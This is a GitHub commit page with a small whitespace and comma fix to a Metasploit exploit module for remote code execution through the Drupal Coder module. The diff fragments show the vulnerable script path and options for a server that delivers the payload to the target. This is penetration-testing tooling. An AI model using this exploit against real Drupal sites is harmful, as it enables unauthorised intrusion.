Skip to content

Commit 7e9c5f9

Browse files
committed
Fix for double space and indentation
1 parent 634ee93 commit 7e9c5f9

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/unix/webapp/drupal_coder_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ def initialize(info={})
5555
[
5656
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']),
5757
OptString.new('SRVHOST', [true, 'Bogus web server host to receive request from target and deliver payload']),
58-
OptString.new('SRVPORT', [true, 'Bogus web server port to listen']),
58+
OptString.new('SRVPORT', [true, 'Bogus web server port to listen'])
5959
]
6060
)
6161
end
@@ -97,7 +97,7 @@ def exploit
9797
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
9898
'encode_params' => false,
9999
'vars_get' => {
100-
'file' => get_uri
100+
'file' => get_uri
101101
}
102102
)
103103
stop_service

0 commit comments

Comments
 (0)